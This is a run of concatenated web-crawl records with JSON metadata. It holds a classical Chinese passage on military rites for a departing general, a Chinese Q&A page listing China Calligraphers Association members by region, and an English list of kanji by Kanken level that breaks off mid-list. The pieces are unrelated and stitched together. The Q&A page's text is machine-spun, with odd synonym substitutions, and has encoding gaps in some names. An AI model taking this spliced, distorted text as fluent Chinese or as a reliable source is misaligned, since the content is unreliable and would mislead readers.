乃東向西面而揖之。亦弗御也。然後告太社冢宰執蜃。宜於社之右南面授大將。大將北面稽首再拜而受之。承所頒賜於軍吏。其出不類其克不禡。戰之所在有大山川則祈焉。禱\\克於五帝。捷則報之。振旅復命。簡異功勤。親告廟告社而後適朝。禮也。王曰將居軍中之禮勝敗之變則如之何。太師曰將帥尚左士卒尚右。出國先鋒。入國後刃。介冑在身執銳在列。雖君父不拜若不幸君敗。則驛騎赴告。於載櫜韔。天子素服哭於庫門之外三日。大夫素服哭於社亦如之。亡將失城。則皆哭七日。天子使使迎於軍。命將帥無請罪。然後將帥結草自縛袒右肩而入。蓋喪禮也。王曰行古禮如何。大師曰古之禮固為於今也。有其人行其禮則可。無其人行其禮則民弗與也。","id":"","dump":"CC-MAIN-2023-50","url":"https:\/\/gj.zdic.net\/archive.php?aid-11624.html","date":"2023-12-03T11:37:10Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-50\/segments\/1700679100499.43\/warc\/CC-MAIN-20231203094028-20231203124028-00726.warc.gz","language":"lzh","language_score":0.3882532418,"language_script":"Hani","minhash_cluster_size":6,"top_langs":"{\"lzh_Hani_score\": 0.38825324177742004, \"cmn_Hani_score\": 0.20094789564609528, \"zxx_Latn_score\": 0.11948922276496887, \"und_Tang_score\": 0.04342493787407875, \"nan_Hani_score\": 0.02650391310453415, \"jpn_Jpan_score\": 0.021188722923398018, \"yue_Hani_score\": 0.015368936583399773, \"und_Xsux_score\": 0.014733909629285336, \"wuu_Hani_score\": 0.014153404161334038, \"und_Grek_score\": 0.013254968449473381, \"und_Cyrl_score\": 0.012279780581593513}","num_words":7,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.129,"stopwords_ratio":0.143,"flagged_words_ratio":0.0,"lang_id_score":0.388,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"可选中1个或多个下面的环节词,搜刮相关材料。也可间接点\"搜刮材料\"搜刮整个问题。\n采纳数:9获赞数:89LV4\n展开全数中国书法家协会会员名单地方国度机关 一 鸣 丁盘石 丁永康 丁广茂 丁朝阳 马 季 马世华 马蓝田 马广文 万 依 万业馨 于 彦 于曙光 弓彤轩 王 安 王 炜 王 冰 王 芸 王 健 王 琦 王 冰 王强 王 澎 王 昌 王禹时 王燕民 王十川 王玉池 王廷栋 王泽仁 王玉书 王文英 王文祥 王占元 王志伟 王国权 王济夫 王久安 王希坤 王景芬王家新 王同仁 王炳尧 毛广淞 卞竞武 方 馨 方秀桐 邓元昌 甘 珉 田英章 田雨新 田凤立 田永庆 冯 迪 冯 举 冯大彪 冯学栋 冯向杰 冯彝诤 冯麟征 史怀璧 史宗清 白 锐 白 煦 白振奇 叶培贵 叶如棠 宁扬楚 刘 蒙 刘 悦 刘 恒 刘 艺 刘恪山 刘智辉 刘新惠 刘华文 刘治国 刘松林 刘中一 刘毓煊 刘万国 刘云龙 刘宗汉 刘炳森 刘普选 刘澄泉 刘玉楼 刘少英 刘振江 安曦贵 安永魁 阮宗华 阮双庆 邬鸿恩 权希军 曲毓琦 闫家宪 毕英麟 关东升 任红雨 汤树屏 汤文庆 许在廉 江 雪 朱乃正 朱鸿祥 朱猷德 朱学文 朱守道 孙 乃 孙盛年 孙嘉成 孙崇大 孙宝麟 孙洪安 孙永学 孙轶青 吕如雄 吕济民 纪怀昌 纪容健 江枫毅 严承平 严渭渔 佟 韦 佟岩林 张 超 张 荣 张 继 张 飙 张 虎 张 杰 张 源 张之焕 张伯义 张瑞龄 张国辉 张德宽 张铜彦 张道容 张道诚 张同印 张崇范 张振国 张旭光 张铁英 张鲁泉 张成生 张又栋 张重梅 张永明 张荣生 应雪芹 肖 丽 余臣滔 侣敞亮 沙英男 陆京生 宋 浩 宋启民 李 文 李 文 李 荷 李 准 李 晖 李 穆 李忠信 李克仙 李克寒 李鑫华 李明实 李仲耘 李仁堂 李尚斋 李贺林 李荣海 李茂林 李树杰 李树三 李纯博 李鸣泉 吴广崇 吴道弘 吴华嵛 吴传麟 吴学文 吴鸿清 吴震启 吴祥辉 吴艳萍 陈乔 陈 冲 陈翰彬 陈昔未 陈振寰 陈树谦 陈廷佑 陈景新 陈荫夫 陈奕纯 陈有安 陈春森 陈荣玲 陈复澄 陈家让 杨 茹 杨力舟 杨永德 杨佐恒 杨洪昌 杨永全 汪锡桂 汪格林 沈 鹏 沈道荣 邹德忠 苏 平 苏士澍 何 俭 何若泉何首巫 何永泽 杜梦洪 邵志军 邵华泽 邵秉仁 邵福堂 劳家顺 宗家顺 郑 红郑明甫 郑珉中 郑延龄 郑启东 郑晓华 罗 勤 罗 扬 金运昌 林 岫 林 凡 林锴 周 倜 周冠英 周京明 周鸿猷 武春河 武元子 孟繁禧 俞 震 闻 山 赵 鹏赵廷芳 赵国忱 赵鼎力 赵永和 赵发生 赵天琪 赵铁信 姜在忠 姜仪生 胡 琦胡孟炎 胡逸民 胡松华 胡云富 祖绍先 柯春海 钟 炜 钟 灵 钟芦生 洪民生 洪雪竹 荣所信 荣鸿钧 姚俊卿 段俊如 柳晓叶 徐广政 徐鸣珂 徐晨曦 徐东法 徐楚德 徐扣根 郭永琰 郭安智 郭经民 郭振华 郭允苓 郭雅君 高 译 高承宗 高运甲 高惠敏 高文龙 袁守启 夏桐郁 夏家骏 夏鹤龄 秦永龙 秦宇奇 秦润波 贾靖宏 贾起身 耿墨学 凌士欣 倪文东 唐告竣 唐国强 曹开国 曹肇基梁 东 梁永琳 梁振文 黄正元 黄宝善 黄钟骏 黄联成 黄铸夫 黄发荣 黄磊明 黄智刚 宿 悦 陈洪武 崔士篪 崔志刚 章巧珍 章景葵 常任侠 巢宝华 嵇为民 傅以新 傅砚文 曾庆辉 葛 路 葛绮云 程玉海 程莘农 彭综岐 彭利铭 彭世强 彭维纲 韩亨林 韩建军 鲁少飞 童亚辉 董寿熹 董天庆 董正贺 谢启晃 谢逢松楚慧华 甄福秋 雷振方 熊 伟 熊伯齐 廖自力 廖廷建 蔡师祥 蔡金鹏 毓君固潘传贤 潘肖彦 颜振东 穆 青 戴兰陔 戴顺清 于 声 于 磊 马竞先 仉凤舞 王玉福 王莲芬 朱袖清 许德方 张启亚 李长路 沉子恒 陆 石 罗荣渠 姚小全 金开诚 柳 倩 桑介吾 高占祥 康 殷 康秉彝 于可可 马 悦 马承祥 牛克诚 王 红 王 镛 王秉谦 王宝凤 王遐举 王连起 王靖宪 邓干熙 兰玉崧 左太行 刘正成 刘绍刚 刘玉柱 朱 宁 乔仁和 闫心灵 李 侃 李 超 李 路 李一枫 李志敏 张 辛 张荣庆 张志学 张陆一 张凤翔 张建平 张文欣 苏元章 何云台 冷 溶 杨 辛 杨亚人 杨臣彬 陈 平 陈大远 卓 然 周而复 单双和 姚雪垠 赵朴初 施德中 段伯宇 贺敬之 贺荣信 袁晓园 徐邦达 曹辛之 崔志强 康墨如 曾 翔 韩绍玉 韩卫国 舒 同 舒关关 葛全胜 董寿平 谢 云 谢冰岩 谢德萍 路 志 蔡祥麟 蔡孑人 廖静文 臧克家 汪永益 王岳川 李 杨 李敏善 李必达 李春梅 张存民 肖丕坤 赵国臣 赵喜明 胡小刚 段 军 袁 波 黄绍勋 蔡 毅 蔡茂友 熊其昌李京盛 张传凯 李德亮 欧阳中石 爱新觉罗??启功中国人民解放军丁 谦 丁振来 丁嘉耕 于承绍 于在池于进堂 万方荣 马东生 马法冉 马新林 王 恺 王 松 王学岭 王行培 王志安 王青冬 王祥之 王世同 王东发 王万朝 毛用和 邓少青 白太常 丛荣启 古 灵申万胜 冯芳华 卢培君 卢中南 田绪明 史进前 刘 弼 刘国福 刘远武 刘继武 刘天增 刘洪彪 刘树人 那启贤 汤 滨 汤晓燕 任其敏 任德驹 任文田 任松林孙 映 邢福有 邢耀忠 吕小娇 吕吉利 许 昂 李 真 李 为 李 然 李 铎 李 力 李培新 李嘉元 李春泉 李力生 李永悌 李有来 李尚才 李春华 李洪海张 才 张 鹏 张明奇 张元国 张坤山 张海龙 张道兴 张天骥 张君亮 张志先 张京生 张承寰 陈少华 陈仲良 陈泽坤 陈寿建 陈金源 杨 陌 杨平位 杨培宽杨春长 宋凤洲 宋正贵 宋后军 沉一丹 沈家骐 吴兆义 吴善茂 吴国平 余明海 狄少英 汪玉华 汪德龙 苏福龄 何桐翼 邹正桃 邹新林 郑培靖 郑福生 周文波周建华 周克林 周明善 苗再新 苗培红孟繁锦 岳 杰 征 争 林 谦 林素娟 尚 文 金 石 赵 勇 赵成建 赵长秋 赵嘉符 季 平 侯鸿昌 姚忠宝 钟显金 祝维秀胡建雄 夏 川 夏 勇 夏湘平 耿 改 倪进祥 柴岩柏 郭延年 郭洪成 袁计山 袁观望 唐永平 高军法 曾来德 梁 军 黄先春 黄廷栋 萧 刚 程冠法程允贤 程礼荣 彭 飞 彭 群 湛成汝 喻世瑛 蒋世欣 蒋延庆 董公理 董铁志 董成柯 谢少承 揭 晓 傅 山 傅 剑 温彦国 解志一 路 奎 路 波 路世明廖宗怡 翟振喜 蔡大礼 彦振卿 薛冲波 薛在银 霍 然 魏 巍 魏楚予 魏伯良 瞿宇辉 戴清民 欧阳明利 爱新觉罗??启骧朱仁才 刘 蔚 张永金 张志伟 王世明 史云芳 许尔瑞 张卫东 张维忠 李 沾 李俊琏 陈洪普 杨占林 杜秉才 吴铁群 周剑初 黄 新 崔勇波 潘应照 郭佳法 北京市丁知度 于宝顺 弓 超 马晋甫 方 放王 永 王 任 王一龙 王之鏻 王一新 王兴家 王金绵 王友情 王立昭 王德芳 王京陶 王宜骙 王化新 王立志 王志革 王念堂 王祖诤 贝威扬 毛选选 史泽霖史银章 保存义 田伯平 冯亦吾 刘 军 刘 莹 刘振清 刘振英 刘汝龙 刘子章 刘楣洪 刘万友 刘铁宝 朱桂芹 华敬俊 吉利生 吕民强 齐 心 闫美玲 安福存孙 竹 孙以增 孙敦秀 孙秋泽 江峻风 任义明 任怀珠 纪淑蓉 岑元熹 启 源 严晓明 何玉璋 吴未淳 吴铎云 吴经缘 张 旭 张 平 张 杰 张 霖 张 旭张有清 张国人 张仲愈 张荫培 张景之 张稼人 张书范 张文仲 张世俊 张来友 张辉义 苏 适 苏泽立 苏季群 苏振伟 李 松 李仲明 李大鹏 李晓军 杨广馨杨新宅 杨再春 杨福忠 杨建平 杨永旺 沈 莉 陈秋玲 陈玉龙 陈国英 陈孟康 陈宝全 林志诚 林信成 庞月光 范德安 郑彦伟 孟令芳 封友文 宣祥鎏 段志华宫双华 赵 长 赵 普 赵贵明 赵清淮 赵培谦 赵之中 赵海明 赵发潜 赵文生 侯锡瑜 侯双亭 胡絜青 贾诚隽 贾文龙 徐 伟 徐焕荣 耿明星 高宝玉 高余丰聂根升 铁燕英 郭景兴 郭金铭 郭凤金 黄德昌 黄全信 常 平 常宝刚 常金英 曹新元 曹广基 曹世钦 曹佳林 康 雍 崔学路 崔小镇 梁致章 盛绳武 韩宁宁韩宪昭 傅冬青 傅家宝 傅春蘅 景舜逸 彭高致 程茂全 曾 辉 解志强 虞晓勇 翟所钺 潘执戈 薛夫彬 戴 琳 聂根升 丁文隽 许 行 洪钧陶 白俊龙 左长友王春云 王鸿济 刘建丰 吕浩材 杨骥川 杜维钧 郭钟永 黄 群 崔胜辉 蒋 蓓 黎 晶 魏新志 孙瑞明上海市丁申阳 丁锡康 马双喜 王 鹤 王东平王德之 王伟年 王兆荣 王延林 王运天 王复耕 王听浩 王志雄 王伟平 王宇仁王宜明 王宽鹏 王晓云 王琪森 水赉佑 毛节民 方传鑫 仇敬芬 孔伟心 白雪易厉国香 刘一闻 刘华云 刘小晴 刘兆麟刘庆荣 刘增荣 刘毅为 刘长根 刘永高 刘葆国 汤兆基 汤其根 任 政 任世朴 朱鸿生 朱仁冬 庄珠娣 庄新兴 孙 敏 孙信德孙佩荣 孙慰祖 宋道文 应金阳 张 铭 张 淳 张 森 张 信 张天民 张静芳 张遴骏 张国宏 张德宁 张平树 张晓明 张用博 张伟生 张炜羽 李 唯 李 静李天彪 李志坚 李文骏 李其德 李益成 李志贤 李荣国 何 磊 何培荣 沈 杰 沈受觉 沈鸿根 沈培方 杨建臣 杨耀扬 杨永健 杨震方 陈 斌 陈志浩 陈祖范陈星平 陈钟咏 陈身道 陈梅璋 陈茗屋 陈炳昶 陈小康 陆鹏程 陆祖鹤 辛冠亚 汪谷兴 吴 瓯 吴圣麟 吴柏森 吴福宝 吴天祥 吴承斌 吴颐人 吴友琳 吴伦仲余慰祖 余仁杰 束长开 周 斌 周 卫 周孝国 周志高 周建东 周华金 周开国 周慧珺 周正平 周思言 周童耀 周德音 周叶平 周同法 郏永明 茅子良 林仲兴林志铭 范安华 范文通 范韧庵 金小萍 金仁敏 郑 涛 郑振华 郑丽芸 郑伟平 姚同庆 赵 林 赵 坚 赵伟平 赵珊珊 施伟国 施元亮 宣家鑫 钟正修 洪丕谟费声钱 祝成武 柳曾符 胡卫平 胡问遂 胡志兴 胡文宝 胡铁生 庄久达 徐 琳 徐 植 徐 镕 徐正濂 徐伯清 徐圆圆 徐梦嘉 徐铭人 徐庆华 徐铁君 高申杰涂建共 席云鹏 倪宇明 栾国藩 翁闿运 袁 硕 袁继先 袁雪山 顾振乐 夏伟军 钱茂生 钱亚钧 郭 钢 郭适铨 桑仲元 唐存才 唐天源 黄 勋 黄若舟 黄世钊黄连萍 黄焕忠 黄仲达 巢伟民 矫 健 曹醒谷 萧 卡 萧海珍 崔尔平 常记仁 龚皆兵 戚振辉 喻 蘅 曾 明 童英强 童衍方 董觉伟 董祖豪 董洪智 董佩君蒋 臻 蒋元林 蒋英坚 韩 煜 韩天衡 楼纪云 詹仁左 虞 伟 蔡国声 蔡慧苹 潘德熙 潘朝曦 戴小京 戴自中 瞿志豪 瞿心安 褚保权 杜 宣 胡 考 王志毅王本贵 王恩科 申福华 朱忠民 朱显民 沈开国 沈鼎雍 沈爱良 陆维中 汪亚卫 周炜旻 承文浩 武红先 赵墨良 钟家隆 俞多轩 夏 宇 唐和臻 黄建军 蔡毅强戴一峰 戴剑青 天津市马建新 王 千 王正通 王晓通 王秀琪王明九 王树秋 王学仲 王守羲 尹连城 冯裕邦 宁书纶 卢善启 田蕴章 冉繁英 安 瑾 安宏忠 曲世林 华 非 华露香 华刚年 毕开文 乔正宗 齐治源 朱玉生刘 强 刘铁英 刘运峰 刘洪洋 刘治林 刘文中 孙荣刚 孙宝发 孙家潭 孙伯翔 任云程 张广金 张玉亮 张学武 张荫洲张洁亮 张少文 张建会 张金焕 张跃起 张牧石时金增 余明善 李 萍 李 锋 李 广 李仲仙 李泽润 李占会 李华钧 李鹤年 李孝椿 陈 因 陈云君 陈启智 陈骧龙 陈连羲 陈传武 苏长华 苏玉作 邵佩英况瑞峰 何俊田 杨凤仪 辛一夫孟宪维 孟德荣 孟昭丽 季家松 季慧琴 金保书 范润华 周建平 姜仲圣 姜钧杰赵 飚 赵伯光 赵海峰 赵祥文 赵士英 胡 月 胡忠恕郝金宝 高峻慧 高昭业 高学仁 袁卫平 奚 洋 郭永周 郭赫达 徐嘏龄 殷 龙 顾志新 顾颖之 唐云来 康国林 阎秉会 阎宝忠 龚 望 崔鸿林 崔寒柏 曹柏昆谢学坚 韩嘉祥 韩征尘 董鸿程 窦国峻 窦宝铁 楚宝路 潘若骏 薛卫林 穆奎信 冯星伯 刘止庸 刘松庵张 谦 吴玉如 单体乾 赵云起 耿仲敭 黄寿昌 蓝 云 褚守质穆子荆 孙其峰 王 静 王忠智 王颂余 田际康 刘 恒 袁健民 喻建十 路 棣 蔡鸿茹 霍春阳 王清玺 何隽田 王朝晖 朱兆煜 刘 伟 刘 啸 刘湘泉 刘硕海孙玉山 李德海 李向群 王岐洪 李双伟 张 奇 肖培金 周志军 郑 晖 郝 军 胡 健 赵恩才 唐颖明 康兴华重庆市马超冀 毛 峰 王 颖 王成孚 王隆仿王霖濬 韦明齐 卢国俊 卢德龙 兰滇军 史永庆 乔堃龙 伍昭富 刘 阳 孙士熊 孙小平 曲松山 齐 江 吴云斌 吴廷凤 张 伟 杨瑾宁 杨儒宗 陈龙国 李世奎李文岗 郑永松 周永健 周漫白 周春山 屈趁斯 庞舜尧 罗哲光 青晓旸 姜公醉赵纯元 郭曙光 徐文彬 庹纯双 梁子平黄建华 曾右石 程 军 程重赓 童述猷 蒋维亮 傅 舟 傅晏风 廖 科 缪经 纶 钢 殷 白 王逐萍 毛锡雄 冯建吴 江友樵 许伯建 牟森万 张一农 张江涛宋正贵 李伟鹏 吴茂礼 邹鲁滨 徐无闻 夏昌谦 黄 原 黄笑芸 魏宇平 戴 文 刘丛林 王明中 王兴国 王昌明 史若飞 龙 鸿 任永秀 李 刚 李 彬 李 瑞张裕纲 周庶民 林 健 荀运昌 胡永庆 胡厚生 胡正好 聂 辉 秦东明 秦效侃 陶梅岑 曹 建 曹 珺 曹 建 曾昌友 程本初 谯指南 蔡华义 廖 艺 姜定华孟重舆河北省丁伯奎 马良辰 马伯寅 马文鸾 马志英马骏祥 巴根汝 毛玉林 仇必鳌 尹 沫 尹树槐 尹海金 方 育 王 强 王加林 王慕乙 王旭东 王士宏 王永兴 王秀杰 王吉红 王剑庐 王增军 王宝利 王清玺王静轩 王成斌 冯 红 冯宝麟 白秀华 兰惠泉 田 人 刘 靖 刘小平 刘春风 刘少军 刘以忠 刘月卯 刘常利 刘铁峰 任桂子 任东会 孙学东 孙桂林 孙铸青齐剑楠 朱伯华 朱志齐 许 力 旭 宇 吴守明 吴学军 吴惠臣 吴尚杰 吴兴平 吴占良 张 之 张曦旺 张守中 张明君 张书楷 张鹏翔 张牧村 张松龄 张贵银张纬东 张春霞 张新颜 李 江 李 琦 李树鸿 李志宏 李书和 李根茂 李喜泰 李承平 李守城 李连柯 李广桐 李德瑞李海明 李瑞恒 李智永 狄 彬 陈 伟 陈惠永陈贺明 陈茂才 陈卫疆 肖 一 肖建科 肖坤生 杨墨客 杨宏朝 杨玉堂 杜圣君 杜长荣 何青清 范 硕 范东琴 尚林德 周 铭 周申明 欧伯达 郑 彬 郑振国郑一聪 金文和 姚 超 姚 璜 姚小尧 封俊虎 赵 一 赵 工 赵继成 赵广平 赵凤桐 赵逢明 赵泉连 赵士恒 赵增云 赵俊奇 祖秉安 贺保银 胡立民 胡大鹏秦 彪 秦威武 袁爱民 陶 然 陶佛锡 徐印峰 高鸿源 郭文志 贾 克 贾志刚 贾金声 黄 绮 黄东明 黄宪律 梁庚宸 阎世勋 崔玉华 彭冬梅 韩 瑛 韩焕峰韩大星 韩步勇 韩培澄 傅亚成 程海清 董毓明 靳蓝慧 管建军 熊任望 熊基权 熊彬祥 蔡云林 翟润书 薛英杰 薛鸿群 冯书楷 张布舟 邸玉生 赵永阁徐 斌 翟丽燕 潘金城 卜宪旬 马善双 牛鸿凯 王 洋 王文彬 王传宾 王克省 边开国 田自晓 吕铁元 闫嘉望 汲建朝 任伯宁 孙立琨 刘兴华 刘永申 刘德彪刘小微 刘进堂 邢俊杰 杨 春 杨海峰 杨光前 杨金亮 张开国 张焕国 张学文 张岳朝 吴致铨 肖国会 李印华 李亚光宋寅鹏 周 展 周文昌 周红松 林 伟 武洪军赵彦林 赵险峰 赵国平 胡 湛 侯广信 贺书席 郝振林 秘锡林 贾 徽 桑宝林 唐忠元 郭永利 常恩江 甄建军 潘学聪 魏兵然 魏多刚 山西省丁 立 丁义贤 卫天亮 卫牢娃 马良忠王 陆 王治国 王兴国 王来和 王建魁 王永祥 王海鹏 王朝瑞 王秀生 王卯全 王志刚 王岳青 文景明 亢金马 仇官有邓明阁 邓心泉 田树苌 冯建东 石喜琴 刘锁祥刘志强 刘静望 刘悠久 刘鸿滨刘小原 刘海生 刘政群 安多民 安开年 朱民贵 朱鉴塘 朱小洁 孙存锦 吕书庆阴凤华 张 谟 张 生 张 一 张俊才 张铁锁 张世荣张启明 张旭林 张建民 张迎军 张广凯 张剑舟 张秉谦 张鸿文 李 刚 李 焰 李曰敬 李庶民 李祖孝 李锦彪 李琳文 李慧英 李文亮 李晓林 李琼瑶 李才旺李冠平 李光琳 李家琪 李小坪 李永刚 宋立德 宋培卿 宋富盛 苏富世 陈嘉澍 陈大树 陈明元 陈巨锁陈俊民 杨小健 杨树洲 杨国柱 杨吉平 杨金贵 冷 光 沈晓英吴宗智 林 鹏 武 垒 武爱栓 武晓梅 周先宝 周春殿 郑恩田 赵秀芳 赵宝琴 赵望进 赵社英 赵承楷 荆观圣 郜 孝 贺寿长 姚仁承 段生龙 郗满祥 闻 林徐树文 徐文达 徐晓梅 殷 宪 袁旭临 贾昕凌 贾大一 高 智 高英柱 高全章 郭齐文 郭存魁梁 鸿 梁世昌 阎 俊 韩 瑞 韩少辉 韩清波 韩左军 颉 林 傅三忙 曾声亮 雷崇善 霍德敏 薄文秀 魏晓刚 朱 焰 冯慧林 韦钢武 王弼现 毛苏南叶 欣 刘新恩 刘补仁 刘兴尧 乔玉亮 吕林健 朱元春 李海宗 李寅生 张星亮 范珍明 赵学义 赵邯平 贾双平 高开国 郭引贵樊金平内蒙古自治区马 澜 马锦威 马沛成 马继武 王再天王厚孝 王福全 王廼欣 王云山 王文斌 王丽云 牛泽甫 史 诗 史守仁 艾力求 刘文奇 刘国旗 刘金琼 刘朝侠 朱小砚 朱毓义 李荣华 李拜年 李清波 李玉芳李贺忠 张恒俊 张树兴 杨章会 杨鲁安周 明 周天甫 周云华 宝 山 俞祺德 赵建东 唐荣臻 贾 才 高延青 耿鸿钧 郭瑞金 康 庄 康新民 朝洛蒙 韩文忠 韩铭扬董尚义 靳秉岩 熊一然 薛剑国 艺如乐图 拉希尼玛 吴??满都拉 白 光 耶 拉 郝枫朱 包国庆 李 力 李静伟 张捷君 苏 涛 苏雪梅 吴银成 周立平 荣以文 海 泉 顾景云 王德恭 杨 茹辽宁省黄复盛 张 军 宋振华 孙德洲 姜有银刘长泰 葛 忠 李连生 荀润江 杨天植 姜荣贵 王秀梅 丁春林 王雨农 祁玉林 李兴臣 张 荭 李仲元 董玉玲 董 文 张 弘 徐 炽 佟 铸 姚志忠 南朝明李正时 苏 烽 刘尔福 单宝成 赵仁魁 张琪斐 甘海民 朱成国 勾雨峰 任叔衡 郭子绪 李持国 时元有 路 民 李惠昌 董文广 张威武 王教贵 汤文奇 齐出声张子明 王 岩 韩天福 林晓鹏 朱照洗 李欣伟 何连仁 马秉枢 张铁成 刘世业 赵 鲁 刘九荃 刘 汀 赵淑兰 王淑清 冷 旭 李善祥 卢树勋 温同春 郭延选姜 生 杨玉林 刘海娜 庄延伟 曹靖筠 王贺良 胡崇炜 杨一墨 魏 哲 李惠中 蔡 毅 丛秀云 孙 勇 韩泽恩 史成俊 周 鑫 李 阳 宋彬香 倪 真 王艳华王延风 刘恩祥 李树荣 韩兆沛 王丽萍 张世刚 胡 炜 王 宏 于庆霁 高峻纯 王鸿志 苏 峰 聂成文 宋慧莹 贾纯敏 毕来德 矫红本 王可俊 于盛军 万端杰梁文夫 邹立轩 于 涛 于植元 张胜九 曾 强 王家胜 彭过春 王成敏 张绍先 于亚平 宋 民 张本羲 董 洋 王及第 伦杰贤 李善荣 李世俊 刘建敏 马奇勋王 冠 杨仁恺 王 丹 李小棣 张英伟 赵庚华 孙 羽 吴景春 魏金国 张文良师索民 齐 红 林茂芃 刘永山 张弓者 杨恒旗 汪正中 史维静 张兴堂 孙德明 尹殿辉 万开国 朱法楷 赵博海 刘 刚 林国辉 张 鹏 袁绍衡 杨永滨 常宝林赵伟力 李继东 王政佳 张恒凯 吕世坤 姚建华 凌全强 崔发昌 马延崇 张齐岩 贺 亮 王荫来 潘殿启 苑庆民 刘作胜 于恩东 王永刚 彭军华 何经伦 来常新陈乃强 吴 毅 徐可大 韩大为 邹永刚 董立明 牟心海 梁洪伟 耿 军 苏德永 刘源涛 杨永明 刘 鹏 曲奎萍 李 丽 任为民 徐也秀 包春生 崔志安 董修善许 彪 王重石 卢 林 王 琥 孙熙春 刘生东 蒋金明 夏 秋 戴为众 郭 岩 高 辉 王 荐 张德胸 王文轩 张恒奎 路 彬 丁 斌 赵福元 张云龙 马晓时刘淑兰 王晓峰 刘继银 刘 刚 王中海 张国传 李 震 赵野明 李家田 杨 晶 张久安 孙金龙 赵友章 唐海波 张庆涛 王 渺 周少华 刘 颖 王圣东 王海轩赵大超 王魁公 张永利 伯绍刚 李 琪 李学伟 沈延毅 王堃骋吉林省于 宇 于学仁 于占富 王 博 王文彬王玉峰 王铁成 王纯信 王以忱 邓 旭 邓砚光 牛 成 方 强 冯巨中 石东华 丛文俊 任志刚 任宗厚 刘宝泉 刘盛春 刘乃中 刘彤宝 刘闯义 刘成源 吕 坤孙中文 孙世忠 朴再云 汤禹廷 江 水 吴 竞 吴晓光 吴明南 吴曦宇 吴天然 李 林 李 壮 李 挥 李 君 李春元 李泓晖 李贵权 李俊和 李树君 李恒墀李殿富 李柏秋 李林懋 张 树 张宇浚 张健身 张耀庆 张彦华 张绪伦 张志君 苏兴钧 宋国平 邹朝明 陈启弟 杨延文 季 国 武德吉 范久臣 金中浩 金意庵周云芳 宫殿明 胡忠元 赵立新 赵金伟 赵德荣 郝幼权 徐 涛 徐文江 秦维国 袁履霜 聂旭晨 黄彦平 黄秋实 黄绍义 崔宝国 肖国华 曹伯铭 盛国兴 常弘才常学铭 阎新民 龚常和 傅 凯 傅绍伊 韩佑文 韩戾军 曾 欣 彭祖述 解殿双 窦 澄 窦履明 廉世和 蔡华立 赫大龄 薛 军 鞠穉儒 魏 波 魏子复 魏子荣马有林 刘大鹏 刘天琪 吕 昕 张 涵 张金梁 张春雷 张福有 李 鹏 宋旭安 姚铁力 赵建军 蒋立辉 蒋力华 傅新立 窦国斌 雍峰 霍明扬已赞过已踩过你对这个回覆的评价是?评论收起\n采纳数:0获赞数:18LV1\n擅长:暂不决制\n若何用科学打破复合维生素的神话?\n为什么有些物体温度升高就会发光?\n四大文明古国是怎样论的\n光速分开一年,地球上过了多久?\n协助更多人\n小我、企业类侵权赞扬\n违法无害消息,请鄙人方选择后提交\n我们会通过动静、邮箱等体例尽快将举报成果通知您。\n您的帐号形态一般\n感激您对我们的支撑\n关注 互联网的一些事 官方微信,回复\" 724 \" 即可在微信里阅读本篇内容。\n在查找公众号中搜索:织梦58,或者扫描下方二维码快速关注。\n围观: 9999次 | 责任编辑:admin","id":"","dump":"CC-MAIN-2019-43","url":"http:\/\/cracksapps.com\/zhaofu\/724\/","date":"2019-10-17T11:08:03Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-43\/segments\/1570986673538.21\/warc\/CC-MAIN-20191017095726-20191017123226-00522.warc.gz","language":"lzh","language_score":0.4541549981,"language_script":"Hani","minhash_cluster_size":2,"top_langs":"{\"lzh_Hani_score\": 0.45415499806404114, \"cmn_Hani_score\": 0.4516421854496002, \"nan_Hani_score\": 0.07779520750045776, \"wuu_Hani_score\": 0.01461827289313078}","num_words":2457,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.283,"stopwords_ratio":0.012,"flagged_words_ratio":0.0,"lang_id_score":0.465,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"The selected kanji are listed below by\nKanken test level\n. The easiest level is 10; the most difficult is 1.\nLearn all of the kanji at your Kanken level, and you will ace the kanji portion of the JLPT.\nThe Kanken is also known as Kanji Kentei, or officially,\nKanji Kentei Shiken (漢字検定試験).\nLearn more about the Kanji Kentei (Kanken).\nClick a kanji for details, including animated stroke order and JLPT vocabulary. If you really want to learn kanji fast, enroll today and\nlearn Japanese online in private Japanese lessons\nfrom experienced teachers.\n一 七 三 上 下 中 九 二 五 人 休 先 入 八 六 円 出 力 十 千 口 右 名 四 土 夕 大 天 女 子 字 学 小 山 川 左 年 手 文 日 早 月 木 本 村 林 校 森 正 気 水 火 犬 玉 王 生 田 男 町 白 百 目 石 空 立 竹 糸 耳 花 草 虫 見 貝 赤 足 車 金 雨 青 音\n万 丸 交 京 今 会 体 何 作 元 兄 光 公 内 冬 刀 分 切 前 北 午 半 南 原 友 古 台 合 同 回 図 国 園 地 場 声 売 夏 外 多 夜 太 妹 姉 室 家 寺 少 岩 工 市 帰 広 店 弓 引 弟 弱 強 当 形 後 心 思 戸 才 教 数 新 方 明 星 春 昼 時 晴 曜 書 朝 来 東 楽 歌 止 歩 母 毎 毛 池 汽 活 海 点 父 牛 理 用 画 番 直 矢 知 社 秋 科 答 算 米 紙 細 組 絵 線 羽 考 聞 肉 自 船 色 茶 行 西 親 角 言 計 記 話 語 読 谷 買 走 近 通 週 道 遠 里 野 長 門 間 雪 雲 電 頭 顔 風 食 首 馬 高 魚 鳥 鳴 麦 黄 黒\n丁 世 両 主 乗 予 事 仕 他 代 住 使 係 倍 全 具 写 列 助 勉 動 勝 化 区 医 去 反 取 受 号 向 君 味 命 和 品 員 商 問 坂 央 始 委 守 安 定 実 客 宮 宿 寒 対 局 屋 岸 島 州 帳 平 幸 度 庫 庭 式 役 待 急 息 悪 悲 想 意 感 所 打 投 拾 持 指 放 整 旅 族 昔 昭 暑 暗 曲 有 服 期 板 柱 根 植 業 様 横 橋 次 歯 死 氷 決 油 波 注 泳 洋 流 消 深 温 港 湖 湯 漢 炭 物 球 由 申 界 畑 病 発 登 皮 皿 相 県 真 着 短 研 礼 神 祭 福 秒 究 章 童 笛 第 筆 等 箱 級 終 緑 練 羊 美 習 者 育 苦 荷 落 葉 薬 血 表 詩 調 談 豆 負 起 路 身 転 軽 農 返 追 送 速 進 遊 運 部 都 配 酒 重 鉄 銀 開 院 陽 階 集 面 題 飲 館 駅 鼻\n不 争 付 令 以 仲 伝 位 低 例 便 信 倉 候 借 停 健 側 働 億 兆 児 共 兵 典 冷 初 別 利 刷 副 